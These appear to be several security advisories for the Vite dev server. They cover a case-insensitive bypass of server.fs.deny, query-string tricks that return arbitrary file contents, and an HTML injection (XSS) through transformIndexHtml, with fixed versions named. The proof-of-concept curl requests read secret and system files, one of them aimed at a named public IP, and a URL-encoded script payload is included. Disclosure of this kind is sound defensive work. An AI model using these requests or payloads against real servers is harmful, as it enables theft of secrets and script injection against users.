Summary Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.
This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
Patches Fixed in vite@5.0.12, vite@4.5.2, vite@3.2.8, vite@2.9.17
Details Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.
See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632
By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.
PoC Setup 1. Created vanilla Vite project using npm create vite@latest on a Standard Azure hosted Windows 10 instance. - npm run dev -- --host 0.0.0.0 - Publicly accessible for the time being here: http://20.12.242.81:5173/ 2. Created dummy secret files, e.g. custom.secret and production.pem 3. Populated vite.config.js with javascript export default { server: { fs: { deny: ['.env', '.env.', '.{crt,pem}', 'custom.secret'] } } }
Reproduction 1. curl -s http://20.12.242.81:5173/@fs// - Descriptive error page reveals absolute filesystem path to project root 2. curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js - Discoverable configuration file reveals locations of secrets 3. curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT - Secrets are directly accessible using case-augmented version of filename
Proof !Screenshot 2024-01-19 022736
Impact Who - Users with exposed dev servers on environments with case-insensitive filesystems
What - Files protected by server.fs.deny are both discoverable, and accessible
Summary The contents of arbitrary files can be returned to the browser.
Impact Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details @fs denies access to files outside of Vite serving allow list. Adding ?raw?? or ?import&raw?? to the URL bypasses this limitation and returns the file content if it exists. This bypass exists because trailing separators such as ? are removed in several places, but are not accounted for in query string regexes.
PoC bash $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev
$ echo "top secret content" > /tmp/secret.txt
expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt"
<body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list.
security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw??" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2...
Summary
The contents of arbitrary files can be returned to the browser.
Impact Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Details
- base64 encoded content of non-allowed files is exposed using ?inline&import (originally reported as ?import&?inline=1.wasm?init) - content of non-allowed files is exposed using ?raw?import
/@fs/ isn't needed to reproduce the issue for files inside the project root.
PoC
Original report (check details above for simplified cases):
The ?import&?inline=1.wasm?init ending allows attackers to read arbitrary files and returns the file content if it exists. Base64 decoding needs to be performed twice $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev
Example full URL http://localhost:5173/@fs/C:/windows/win.ini?import&?inline=1.wasm?init
Summary When Vite's HTML transformation is invoked manually via server.transformIndexHtml, the original request URL is passed in unmodified, and the html being transformed contains inline module scripts (<script type="module">...</script>), it is possible to inject arbitrary HTML into the transformed output by supplying a malicious URL query string to server.transformIndexHtml.
Impact Only apps using appType: 'custom' and using the default Vite HTML middleware are affected. The HTML entry must also contain an inline script. The attack requires a user to click on a malicious URL while running the dev server. Restricted files aren't exposed to the attacker.
Patches Fixed in vite@5.0.5, vite@4.5.1, vite@4.4.12
Details Suppose index.html contains an inline module script:
html <script type="module"> // Inline script </script>
This script is transformed into a proxy script like
html <script type="module" src="/index.html?html-proxy&index=0.js"></script>
due to Vite's HTML plugin:
https://github.com/vitejs/vite/blob/7fd7c6cebfcad34ae7021ebee28f97b1f28ef3f3/packages/vite/src/node/plugins/html.ts#L429-L465
When appType: 'spa' | 'mpa', Vite serves HTML itself, and htmlFallbackMiddleware rewrites req.url to the canonical path of index.html,
https://github.com/vitejs/vite/blob/73ef074b80fa7252e0c46a37a2c94ba8cba46504/packages/vite/src/node/server/middlewares/htmlFallback.ts#L44-L47
so the url passed to server.transformIndexHtml is /index.html.
However, if appType: 'custom', HTML is served manually, and if server.transformIndexHtml is called with the unmodified request URL (as the SSR docs suggest), then the path of the transformed html-proxy script varies with the request URL. For example, a request with path / produces
html <script type="module" src="/@id/x00/index.html?html-proxy&index=0.js"></script>
It is possible to abuse this behavior by crafting a request URL to contain a malicious payload like
"></script><script>alert('boom')</script>
so a request to http://localhost:5173/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E produces HTML output like
html <script type="module" src="/@id/x00/?"></script><script>alert("boom")</script>?html-proxy&index=0.js"></script>
which demonstrates XSS.
PoC
- Example 1. Serving HTML from vite dev middleware with appType: 'custom' - Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev-html - "Open in New Tab" - Edit URL to set query string to ?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E and navigate - Witness XSS: - !image - Example 2. Serving HTML from SSR-style Express server (Vite dev server runs in middleware mode): - Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=server - (Same steps as above) - Example 3. Plain vite dev (this shows that vanilla vite dev is not vulnerable, provided htmlFallbackMiddleware is used) - Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev - (Same steps as above) - You should not see the alert box in this case
Detailed Impact
This will probably predominantly affect development-mode SSR, where vite.transformHtml is called using the original req.url, per the docs:
https://github.com/vitejs/vite/blob/7fd7c6cebfcad34ae7021ebee28f97b1f28ef3f3/docs/guide/ssr.md?plain=1#L114-L126
However, since this vulnerability affects server.transformIndexHtml, the scope of impact may be higher to also include other ad-hoc calls to server.transformIndexHtml from outside of Vite's own codebase.
My best guess at bisecting which versions are vulnerable involves the following test script
js import fs from 'node:fs/promises'; import as vite from 'vite';
const html = <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> </head> <body> <script type="module"> // Inline script </script> </body> </html> ; const server = await vite.createServer({ appType: 'custom' }); const transformed = await server.transformIndexHtml('/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E', html); console.log(transformed); await server.close();
and using it I was able to narrow down to #13581. If this is correct, then vulnerable Vite versions are 4.4.0-beta.2 and higher (which includes 4.4.0).